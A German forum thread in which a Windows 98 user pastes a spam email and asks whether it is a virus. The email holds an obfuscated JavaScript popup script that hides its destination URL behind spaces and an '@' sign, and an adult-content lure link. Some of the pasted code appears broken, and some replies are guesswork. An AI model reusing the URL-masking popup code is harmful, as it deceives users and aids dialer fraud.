Supportnet / Forum / Windows98

Hallo, ich hab gerade eine E-Mail von einem gewissen "ulrich.hailfinger@abt3.leu.bw.schule.de" mit dem Betreff "KENNWORT = zDert456X - 50 neue Filme von Europa" ich konnte erkennen, dass ein Anhang an der Mail ist, konnte aber keine Datei sehen. Der Inhalt war folgendes: (erst eine freie Fläche ca. halbe Seite) function urlgrey(){fI9mxy5Zd="DJ=TF?23:)15*$F5=)11:/-7K82,)&8,5.88.06$0?*,7;&#--"; a1M0odoG7aS= "I$$8?($<,+=@)11<-9M82,)&:,5.88.06$0A*,7=/%5";a1M0od0G7aS = fI9mxy5Zd;fo3Mb8uq0W= "";fO3Mb8uq0w= "";almoOdOGLaS = "";fo3Mb8uq0w= "";for(foSmb8UqOw=0;foSmb8UqOw=0;foSmb8UqOw--) {fo3Mb8uq0w+=almoOdOGLaS.charAt(foSmb8UqOw);}for(foSmb8UqOw=fo3Mb8uq0w.length-1;foSmb8UqOw>=0;foSmb8UqOw--){if (fo3Mb8uq0w.charCodeAt(foSmb8UqOw)-foSmb8UqOw%9-35 < 41)fo3Mb8uq0W+=String.fromCharCode((fo3Mb8uq0w.charCodeAt(foSmb8UqOw)-foSmb8UqOw%9-35)+82);else fo3Mb8uq0W+=String.fromCharCode((fo3Mb8uq0w.charCodeAt(foSmb8UqOw)-foSmb8UqOw%9-35)); }for(foSmb8UqOw=fo3Mb8uq0W.length-1;foSmb8UqOw>=0;foSmb8UqOw--){fO3Mb8uq0w+=fo3Mb8uq0W.charAt(foSmb8UqOw);}fO3Mb8Uq0w = fO3Mb8uq0w;alM0od0G7aS = fI9mXy5Zd;fo3Mb8uq0w= "";fO3Mb8uq0w= "";almoOdOGLaS = "";fo3Mb8uq0W= ""; for(foSmb8UqOw=0;foSmb8UqOw=0;foSmb8UqOw--){fo3Mb8uq0w+=almoOdOGLaS.charAt(foSmb8UqOw); }for(foSmb8UqOw=fo3Mb8uq0w.length-1;foSmb8UqOw>=0;foSmb8UqOw--){if (fo3Mb8uq0w.charCodeAt(foSmb8UqOw)-foSmb8UqOw%9-35 < 41)fo3Mb8uq0W+=String.fromCharCode((fo3Mb8uq0w.charCodeAt(foSmb8UqOw)-foSmb8UqOw%9-35)+82);else fo3Mb8uq0W+=String.fromCharCode((fo3Mb8uq0w.charCodeAt(foSmb8UqOw)-foSmb8UqOw%9-35));}for(foSmb8UqOw=fo3Mb8uq0W.length-1;foSmb8UqOw>=0;foSmb8UqOw--){fO3Mb8uq0w+=fo3Mb8uq0W.charAt(foSmb8UqOw);}fOSMb8Uq0w = fO3Mb8uq0w;j6k0mXry9="0";alMoOd0G7aS=fI9mXy5zd;almoOdOGLaS = ""; fo3Mb8uq0W= "";m5sXt0o1f=String.fromCharCode(104,0x74,0164,0160,0x3a,057,0+47,040,040,32,32,040,0x20,0+32,0x20,040,040,32,040,0x20,0+32,040,32,040,0x20,0+32,0+32,0x20,040,040,32,32,040,0x20,0+32,0x20,0+32,0x20,040,040,32,32,040,0x20,0+32,0x20,040,040,32,32,040,0x20,0+32,0x20,040,040,32,32,040,0x20,0+32,040,0x20,0+32,0x20,040,040,32,040,0x20,0+32,0x20,040,040,32,040,0x20,0+32,0x20,040,040,32,32,040,0x20,0+32,0x20,040,040,32,040,0x20,0+32,040,040,32,32,040,0x20,0+32,0x20,040,040,32,32,040,0x20,0+32,040,0x20,0+32,0x20,040,040,32,040,0x20,0+32,0x20,040,040,32,040,0x20,0+32,0x20,040,040,32,32,040,0x20,0+32,0x20,040,040,32,040,0x20,0+32,0100);fO3Mb8uq0w= "";fo3Mb8uq0w= ""; j6k0MXry9="0";for(foSmb8UqOw=0;foSmb8UqOw=0;foSmb8UqOw--){fo3Mb8uq0w+=almoOdOGLaS.charAt(foSmb8UqOw);}for(foSmb8UqOw=fo3Mb8uq0w.length-1;foSmb8UqOw>=0;foSmb8UqOw--){if (fo3Mb8uq0w.charCodeAt(foSmb8UqOw)-foSmb8UqOw%8-35 < 41)fo3Mb8uq0W+=String.fromCharCode((fo3Mb8uq0w.charCodeAt(foSmb8UqOw)-foSmb8UqOw%9-35)+89); else fo3Mb8uq0W+=String.fromCharCode((fo3Mb8uq0w.charCodeAt(foSmb8UqOw)-foSmb8UqOw%9-35)); }for(foSmb8UqOw=fo3Mb8uq0W.length-1;foSmb8UqOw>=0;foSmb8UqOw--){fO3Mb8uq0w+=fo3Mb8uq0W.charAt(foSmb8UqOw);}fOSMbSUq0w = fO3Mb8uq0w;almoOdOGLaS = "";j6k0mxry9="1";fo3Mb8uq0w="";fo3Mb8uq0W= "";alMoOdOG7aS = fI9mxy5zd;fO3Mb8uq0w= "";for(foSmb8UqOw=0;foSmb8UqOw=0;foSmb8UqOw--){fo3Mb8uq0w+=almoOdOGLaS.charAt(foSmb8UqOw); }le5bKk3d9=100;for(foSmb8UqOw=fo3Mb8uq0w.length-1;foSmb8UqOw>=0;foSmb8UqOw--){if (fo3Mb8uq0w.charCodeAt(foSmb8UqOw)-foSmb8UqOw%9-35 < 12)fo3Mb8uq0W+=String.fromCharCode((fo3Mb8uq0w.charCodeAt(foSmb8UqOw)-foSmb8UqOw%9-35)+90);else fo3Mb8uq0W+=String.fromCharCode((fo3Mb8uq0w.charCodeAt(foSmb8UqOw)-foSmb8UqOw%9-35)) ;}for(foSmb8UqOw=fo3Mb8uq0W.length-1;foSmb8UqOw>=0;foSmb8UqOw--){fO3Mb8uq0w+=fo3Mb8uq0W.charAt(foSmb8UqOw);}fOSMrSuq0w = fO3Mb8uq0w;alMoOdOGLaS = fi9mXy5zd;almoOdOGLaS = "";fo3Mb8uq0w= "";dfDSdn4mDq="1";fo3Mb8uq0W="";fO3Mb8uq0w="";for(foSmb8UqOw=0;foSmb8UqOw=0;foSmb8UqOw--){fo3Mb8uq0w+=almoOdOGLaS.charAt(foSmb8UqOw);}loe5bKk3d9=600;for(foSmb8UqOw=fo3Mb8uq0w.length-1;foSmb8UqOw>=0;foSmb8UqOw--) {if (fo3Mb8uq0w.charCodeAt(foSmb8UqOw)-foSmb8UqOw%9-16 < 33)fo3Mb8uq0W+=String.fromCharCode((fo3Mb8uq0w.charCodeAt(foSmb8UqOw)-foSmb8UqOw%9-16)+89); else fo3Mb8uq0W+=String.fromCharCode((fo3Mb8uq0w.charCodeAt(foSmb8UqOw)-foSmb8UqOw%9-16));}for(foSmb8UqOw=fo3Mb8uq0W.length-1;foSmb8UqOw>=0;foSmb8UqOw--){fO3Mb8uq0w+=fo3Mb8uq0W.charAt(foSmb8UqOw);}fOSmrSuq0w = fO3Mb8uq0w;loe5bkK3d9=800;dfD8dn4MDq=100;SKvbbR45h=j6k0mXry9+String.fromCharCode(0x2c,0164,0x69,0+116,0154,101,0+98,0x61,0162,075);fdlkhHg8h=loe5bKk3d9+String.fromCharCode(0x2c,0155,0x65,110,0x75,98,0141,0x72,0+61); jrhtDERff=j6k0mxry9+String.fromCharCode(0x2c,0163,0x74,0+97,0+116,0165,115,0+61);hty87fdq2=j6k0MXry9+String.fromCharCode(0x2c,0154,0x65,0x66,116,0+61);dFGgh54FG=dfD8dn4mDq+String.fromCharCode(0x2c,0162,101,115,0151,0x7a,0x61,98,0x6c,0145,075);FGhnJ7uk5=dfDSdn4mDq+String.fromCharCode(0x2c,0163,0143,0+114,111,0154,0+108,0142,97,0162,0x73,0x3d);kfn4RF8d4=loe5bkK3d9+String.fromCharCode(0x2c,104,101,0151,0x67,0150,116,0x3d);fUT4nvRE8=String.fromCharCode(0x77,0151,100,0164,0x68,075);nG45GJdsr="0"+String.fromCharCode(0x2c,116,0157,0x6f,0154,0142,0x61,0x72,0x3d); z23rmhj76u=le5bKk3d9+String.fromCharCode(0x2c,0164,111,0+112,075);dnwjOmb3n=""+dfD8dn4MDq;mOky5SLt3=kfn4RF8d4+fdlkhHg8h+fUT4nvRE8+dFGgh54FG+FGhnJ7uk5+nG45GJdsr+hty87fdq2+jrhtDERff+SKvbbR45h+z23rmhj76u+dnwjOmb3n;mOky5sLt3=fUT4nvRE8+kfn4RF8d4+fdlkhHg8h+dFGgh54FG+FGhnJ7uk5+jrhtDERff+SKvbbR45h+nG45GJdsr+hty87fdq2+z23rmhj76u+dnwjOmb3n; moky5sLt3=fUT4nvRE8+hty87fdq2+kfn4RF8d4+fdlkhHg8h+FGhnJ7uk5+jrhtDERff+dFGgh54FG+SKvbbR45h+nG45GJdsr+z23rmhj76u+dnwjOmb3n;mOky5slt3=z23rmhj76u+fUT4nvRE8+fdlkhHg8h+dFGgh54FG+kfn4RF8d4+FGhnJ7uk5+jrhtDERff+SKvbbR45h+nG45GJdsr+hty87fdq2+dnwjOmb3n;if(almoOdOGLaS==fI9mXy5Zd)window.open(m5sXt0o1f+fOSMrSuq0w,"",mOky5SLt3+dS94gnXs3);else if(fi9mXy5zd!=fI9mxy5zd)window.open(m5sXt0o1f+fO3Mb8Uq0w,"",mOky5sLt3+dS94gnXs3);else if(fI9mXy5zd!=fi9mXy5zd)window.open(m5sXt0o1f+fOSMbSUq0w,"",moky5sLt3+dS94gnXs3);dFGgHS4FG=dfD8dn4mDq+String.fromCharCode(0x2c,0162,101,115,0151,0x7a,0x61,98,0x6c,0145,075); FGhnJLuK5=dfDSdn4mDq+String.fromCharCode(0x2c,0163,0143,0+114,111,0154,0+108,0142,97,0162,0x73,0x3d);}urlgrey() Hallo, wir laden Sie zu unseren 72 Stunden Geschlechtstadium ein. Ihr Kennwort ist TT67YH85. Es wird innerhalb 3 Tage gelöscht. So, das ist der Inhalt. Ist da vielleicht ein Virus oder ein Script oder Sonstiges. Was soll ich jetzt machen! Kann ich irgendwie gucken, ob die E-Mail was an meinem System geändert hat? Ich hoffe, ihr könnt mir helfen. Hab große Angst! Danke an alle!

Hab mir die E-Mail nochmal angeguckt und gesehen, dass statt der freien Fläche ein Text steht, der zentriert ist. Der lautet:

Hallo, wir laden Sie zu unseren 72 Stunden Geschlechtstadium ein. Ihr Kennwort ist TT67YH85. Es wird innerhalb 3 Tage gelöscht.
Klicken Sie hier, um Ihr Kennwort 72 Stunden lang
validieren
http://www.terra.es/personal8/susan1326
Erster Tag: Geschlechtfilmhandeln. 1000 Leute bieten Ihnen neue große Filme an, um zweiten Tag zu
downloaden: treffen Sie unsere 3 reizvollen Phasenmädchen. Zeit aus 30 Minuten.
Dritter Tag: Weltpics-Handeln. Wenn Sie nicht pics zum Handeln haben, erhalten Sie viel von anderen
Bauteilen.
Klicken Sie hier, um Ihr Kennwort 72 Stunden lang

http://www.terra.es/personal8/susan1326

Wir hoffen, Sie bald zu treffen Susan








Es ist mir auch aufgefallen, dass die Seite hier ziemlich breit geworden ist, weil der Text so lang ist (Sorry), aber ich hab den Text einfach reinkopiert.

Hat jemand schon Erfahrungen damit gemacht!

virenscanner?

schau unterhttps://supportnet.de/discussion/listmessages.asp?content=&recno=69742&adminrecno=16
nach

gruss
pelle

hi

habe die mail auch bekommen (glaube am dienstag)...
was den text betrifft, keine ahnung (getCharAt etc. kommen mir wie c funktionen vor *ggg wie das denn klappen sollte mit c-code skripts auszuführen)

was mich aber mehr interessiert.... ich war noch nie auf der seite terra.es, scheint so, als würde meine addy gehandelt...

machs so wie ich, löschen und weg damit ;-)

rgds
rené

Also scheint das nichts schlimmes zu sein, oder?

Danke an SEmteX und pelle

Hey cool! Ich will unbedingt so ein "Phasenmädchen" kennenlernen!!!
Ich hab auch paar "Weltpics" zum Handeln...

*ggg*

PS: Hoffentlich liest das nicht meine Frau :-o

Steffen

Hallo Leute,
was mich wundert, ist, dass bei dieser email keine Bildchen zu sehen waren. Diese emails kommen nämlich offensichtlich von Sex-Seiten-Anbietern und werden zur Zeit wahllos in Massen verschickt. Sie dienen wohl dazu, diese 0190-Dialer unbemerkt unters Volk zu bringen. Mit Bildchen ist es natürlich ein klein wenig leichter zu erkennen, dass es sich um Sex-Anbieter handelt....
Man kann wohl nur davor warnen, sich die Bildchen lange anzuschauen, denn offensichtlich geht der download dieses betrügerischen Dialers ohne Ankündigung los. Wenn man da nicht aufpasst...
Also, wenns vielleicht auch schwerfällt.... ;-) : nicht hingucken und sofort löschen.
Tschüs
Rudi

Danke, hab schon gelöscht!!!